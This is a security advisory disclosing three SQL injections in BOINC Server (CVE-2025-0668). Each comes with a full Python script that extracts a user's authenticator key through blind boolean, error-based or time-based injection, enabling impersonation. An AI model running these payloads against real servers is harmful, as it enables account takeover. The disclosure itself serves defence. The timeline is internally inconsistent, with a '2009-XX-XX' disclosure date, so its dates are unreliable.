############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: BOINC Server # Vendor: BOINC # CSNC ID: CSNC-2025-004 # CVE ID: CVE-2025-0668 # Subject: BOINC Multiple SQL Injections # Risk: Critical # Effect: Remotely exploitable # Researcher: Raphaël Arrouas (Xel) via Managed Bugbounty Program # Coordinator: Michael Häseler # Date: 21.01.2025 # ############################################################# Introduction ------------ BOINC is a software platform for "volunteer computing": large-scale distributed high-throughput computing using volunteered home computers and other resources. [1] Affected -------- Vulnerable: * All versions < 1.4.5 Not vulnerable: * All versions >= 1.4.5 Not tested: * Technical Description --------------------- # Vulnerbility 1 (fixed 19.12.2024) There is an unauthenticated blind boolean-based SQL injection affecting the "request" POST parameter in the tree_threader.php module. The following Python script will bruteforce the 16 byte authenticator key of the corresponding user, which is used as an authentication token for all operations on the website. Once the authenticator key is leaked, it may be used to log in at https:///login_auth.php and enter that key toimpersonate the user. ```python #!/usr/bin/python3 import requests import sys if len(sys.argv) != 2: print("Usage: ./exploit.py userid") sys.exit() id = sys.argv[1] s = requests.Session() url = "https:///tree_threader.php" charset = "abcdef0123456789" auth_key = "" for i in range(0, 32): for j in charset: r = s.post(url,data={"request":"' or id=" + id + " and authenticator like '" + auth_key + j + "%' -- -"}) if "invalid authenticator" not in r.text: auth_key += j print(j) break print(auth_key) ``` # Vulnerbility 2 There an unauthenticated blind error-based SQL injection affecting the "tempuserid" cookie in the user_agreetermsofuse_action.php module. The following Python script will bruteforce the 16 byte authenticator key of the corresponding user, which is used as an authentication token for all operations on the website. Once the authenticator key is leaked, it may be used to log in at https:///login_auth.php and enter that key toimpersonate the user. ```python #!/usr/bin/python3 # Exploit Author: Raphael Arrouas (Xel) import requests import sys if len(sys.argv) != 2: print("Usage: ./exploit.py username") sys.exit() username = sys.argv[1] s = requests.Session() url = "https:///user_agreetermsofuse_action.php" charset = "abcdef0123456789" auth_key = "" for i in range(0, 32): for j in charset: r = s.post( url, data={"agree_to_terms_of_use":"true"}, cookies={"logintoken":"zz","tempuserid":"2313320 and -3=2/(select count(*) from user where name='" + username + "' and authenticator like '" + auth_key + j + "%') -- -"}) if "Database Error" not in r.text: auth_key += j print(j) break print(auth_key) ``` # Vulnerability 3 There a blind time-based SQL injection affecting the "consent_name" POST parameter in the am_set_info.php module. The following Python script will bruteforce the 16 byte authenticator key of the corresponding user (average of 256 requests) using SLEEP(1) to trigger when characters match,which will lead to response times above 1000 ms (this is required as the SQL injection is nonverbose). This key is used as an authentication token for all operations on the website. Once the authenticator key is leaked, it may be used to log in at https:///login_auth.php and enter that key to impersonate the user. ```python #!/usr/bin/python3 # Exploit Author: Raphael Arrouas (Xel) import requests import sys if len(sys.argv) != 3: print("Usage: ./exploit.py valid_auth_key username ") sys.exit() valid_auth_key = sys.argv[1] username = sys.argv[2] s = requests.Session() url = "https:///am_set_info.php" charset = "abcdef0123456789" auth_key = "" for i in range(0, 32): for j in charset: r = s.post( url, data={ "account_key":valid_auth_key, "consent_name":"zz' OR (SELECT IF(authenticator like '" + auth_key + j + "%',SLEEP(1),'z') from user where name ='" + username + "')-- -", "consent_flag":"1", "consent_not_required":"1", "consent_source":"1"}) if r.elapsed.total_seconds() > 1: auth_key += j print(j) break print(auth_key) ``` Workaround / Fix ---------------- Update to the most recent version of BOINC Server. Timeline -------- 2024-12-16: Discovery of vulnerbility #1 by Hunter 2024-12-18: Discovery of vulnerbility #2 by Hunter 2024-12-19: Discovery of vulnerbility #3 by Hunter 2024-12-19: Release of fixed Version / Patch for vulnerbility #1 2024-12-20: Release of fixed Version / Patch for vulnerbility #2 and #3 [3] 2025-01-27: Assigned CVE-2025-0668 2025-02-03: Initial vendor notification 2025-03-12: Initial vendor response 2009-XX-XX: Public disclosure date References ---------- [1] https://github.com/BOINC/boinc [2]https://github.com/BOINC/boinc/pull/5964 [3] https://github.com/BOINC/boinc/pull/5967